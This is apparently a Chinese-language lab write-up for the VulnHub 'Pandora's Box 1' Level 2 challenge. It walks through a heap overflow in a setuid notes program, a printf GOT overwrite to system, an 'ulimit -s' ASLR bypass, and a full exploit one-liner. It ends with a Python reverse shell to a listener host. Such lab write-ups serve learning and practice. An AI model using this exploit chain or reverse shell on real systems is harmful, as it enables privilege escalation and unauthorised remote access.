tick.Tack

Pandora’s Box 1 - Level 2

接續上篇Pandora’s Box 1 - Level 1


Shell$ ls
drwxr-x--- 4 level1 level1  4096 Mar 16 12:49 .
drwxr-xr-x 7 root   root    4096 Jan  3 21:56 ..
-rwsr-xr-x 1 level2 level1  9052 Jan  4 08:58 level2
-rw-r--r-- 1 level1 level1   145 Jan  4 09:00 level2_readme.txt
Shell$ cat level2_readme.txt
Start this level with socat 'socat TCP4-listen:53121,reuseaddr,fork EXEC:./level2' and use netcat or whatever to communicate with it.

Have fun!

level2有設sticky bit,看起來要透過它取得level2的權限

提示說要用socat執行level2,不過還是先試試能不能直接執行

level1@pb0x:~$ ./level2
[*] Notes manager - 1.0
[*] Type help for the command list
> help
Command list:
        Create new note     : new
        Set note text       : set
        Show note text      : show
        Delete note         : del
        Show commands       : help
        Exit                : exit
>

看起來像個筆記本程式,有新增、編輯、顯示、刪除的功能

操作之後會發現在編輯(set)時,輸入過長的字元後,要讀取下一個編號的內容會造成crash

[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Note 0 set
> [!] Invalid command, try help
> > read 1
[!] Invalid command, try help
> show
> id: 1
Segmentation fault

接著進gdb重現一下當機,看看有沒有可以利用的部分

level1@pb0x:~$ gdb -q level2
Reading symbols from /home/level1/level2...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/level1/level2
[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                                          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Note 0 set
> [!] Invalid command, try help
> show
> id: 1

Program received signal SIGSEGV, Segmentation fault.
0xb7606e59 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) i r
eax            0x0      0
ecx            0xffffffff       -1
edx            0x0      0
ebx            0xb7768ff4       -1216966668
esp            0xbf869770       0xbf869770
ebp            0xbf869d28       0xbf869d28
esi            0xb7769a20       -1216964064
edi            0x41414141       1094795585
eip            0xb7606e59       0xb7606e59 <vfprintf+9081>
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

這邊可以看到edi被我們的輸入蓋過去了,繼續分析一下level2

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x08048720  frame_dummy
0x0804874c  show_welcome
0x08048779  show_help
0x080487d5  stripnewline
0x08048821  create_struct
0x0804887e  free_struct
0x0804889f  get_empty_slot
0x080488dd  slot_exists

找到了幾個像是自定義的函式,大概看一下之後發現create_struct裡面有呼叫malloc,繼續深入了解一下

(gdb) disas create_struct
Dump of assembler code for function create_struct:
   0x08048821 <+0>:     push   %ebp
   0x08048822 <+1>:     mov    %esp,%ebp
   0x08048824 <+3>:     sub    $0x28,%esp
   0x08048827 <+6>:     movl   $0x8,(%esp)
   0x0804882e <+13>:    call   0x80485e0 <malloc@plt>
   0x08048833 <+18>:    mov    %eax,-0xc(%ebp)
   0x08048836 <+21>:    mov    -0xc(%ebp),%eax
   0x08048839 <+24>:    movl   $0x40,(%eax)
   0x0804883f <+30>:    mov    -0xc(%ebp),%eax
   0x08048842 <+33>:    mov    (%eax),%eax
   0x08048844 <+35>:    mov    %eax,(%esp)
   0x08048847 <+38>:    call   0x80485e0 <malloc@plt>
   0x0804884c <+43>:    mov    %eax,%edx
   0x0804884e <+45>:    mov    -0xc(%ebp),%eax
   0x08048851 <+48>:    mov    %edx,0x4(%eax)
   0x08048854 <+51>:    mov    -0xc(%ebp),%eax
   0x08048857 <+54>:    mov    (%eax),%eax
   0x08048859 <+56>:    mov    -0xc(%ebp),%edx
   0x0804885c <+59>:    mov    0x4(%edx),%edx
   0x0804885f <+62>:    and    $0xfffff000,%edx
   0x08048865 <+68>:    movl   $0x7,0x8(%esp)
   0x0804886d <+76>:    mov    %eax,0x4(%esp)
   0x08048871 <+80>:    mov    %edx,(%esp)
   0x08048874 <+83>:    call   0x8048570 <mprotect@plt>
   0x08048879 <+88>:    mov    -0xc(%ebp),%eax
   0x0804887c <+91>:    leave
   0x0804887d <+92>:    ret
End of assembler dump.

malloc的部分,看起來是建立了兩個連續的空間

第一次建立的大小是8 bytes,第二次是64 bytes,8 bytes中的4個bytes會用來指向64 bytes的所在位址

最後則是作者佛心來著(?),用mprotect把64 bytes的區塊設定成可讀可寫可執行的狀態????

接下來驗證一下是不是真的有辦法修改這塊記憶體

(gdb) r
Starting program: /home/level1/level2
[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
[*] Note 0 set
> show
> id: 1

Program received signal SIGSEGV, Segmentation fault.
0xb75c2e59 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x $edi
0x63413563:     Cannot access memory at address 0x63413563

root@kali:~/_Sec/vulnhub/pandora# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x63413563
[*] Exact match at offset 76

用pattern_create.rb和pattern_offset.rb找出長度之後,接著來試試看能不能用set 1去修改set 0時覆蓋過去的記憶體位址

再來要找一個這支程式很常用到的函式,去修改他指向的記憶體位址,等這個函式被調用的時候就會去執行我們指定的程式碼區段

而這可憐的函式就決定是printf了,我們有PLT和GOT兩個入口可以選擇,不過檢查一下會發現PLT的區塊是唯讀的,那就只剩下GOT的printf可以用了

level1@pb0x:~$ objdump -h level2
 12 .plt          00000110  08048550  08048550  00000550  2**4
              CONTENTS, ALLOC, LOAD, READONLY, CODE

level1@pb0x:~$ objdump -R level2

level2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804a370 R_386_JUMP_SLOT   printf

找到GOT的位置後,再來要替換GOT指向的記憶體位址

這邊選擇了system,使用ret2libc的方式,直接呼叫system去執行程式

在替換的過程遇到了點問題,因為ASLR是開著的,所以system的位址每次都會變動

而且level1沒有權限去改/proc/sys/kernel/randomize_va_space的內容

最後靠著google大神找到了一個神奇的解法,在32-bit的機器上只要下一個指令就能暫時無視ASLR了

level1@pb0x:~$ ldd level2
        linux-gate.so.1 =>  (0xb7795000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e4000)
        /lib/ld-linux.so.2 (0xb7796000)
level1@pb0x:~$ ldd level2
        linux-gate.so.1 =>  (0xb774d000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759c000)
        /lib/ld-linux.so.2 (0xb774e000)
level1@pb0x:~$ ldd level2
        linux-gate.so.1 =>  (0xb7724000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7573000)
        /lib/ld-linux.so.2 (0xb7725000)
level1@pb0x:~$ ulimit -s 9999999999
level1@pb0x:~$ ldd level2
        linux-gate.so.1 =>  (0x40022000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40029000)
        /lib/ld-linux.so.2 (0x40000000)
level1@pb0x:~$ ldd level2
        linux-gate.so.1 =>  (0x40022000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40029000)
        /lib/ld-linux.so.2 (0x40000000)

解除ASLR之後,在gdb就能找到system的位址了

(gdb) p system
$1 = {<text variable, no debug info>} 0x40068460 <system>

最後再把完整的exploit拼起來

level1@pb0x:~$ python -c 'print "new\nnew\nset\n0\n"+"A"*76+"\x70\xa3\x04\x08"+"\nset\n1\n"+"\x60\x84\x06\x40"+"\nexit\n"' > input.hack
level1@pb0x:~$ ./level2 < input.hack
[*] Notes manager - 1.0
[*] Type help for the command list
> [*] New note created with id 0
> [*] New note created with id 1
> > id: > text(32 max): [*] Note 0 set
> > id: > text(32 max): sh: 1: [*]: not found
> [*] Goodbye

看來餵給system的檔名為”[*]“,再來只要建立一個名為[*]檔案,裡面看要怎麼操作都可以

這邊寫一個reverse shell接回Kali Linux。等Kali把listen port架起來後,執行level2就能拿到level2的權限囉

level1@pb0x:~$ cat [*]
#!/usr/bin/python

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.2.128",9922))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

level1@pb0x:~$ ./level2 < input.hack
[*] Notes manager - 1.0
[*] Type help for the command list
> [*] New note created with id 0
> [*] New note created with id 1
> > id: > text(32 max): [*] Note 0 set
> > id: > text(32 max):

root@kali:~# nc -lvp 9922
listening on [any] 9922 ...
192.168.2.158: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.2.128] from (UNKNOWN) [192.168.2.158] 50702
$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1002(level2),1001(level1)
$ whoami
level2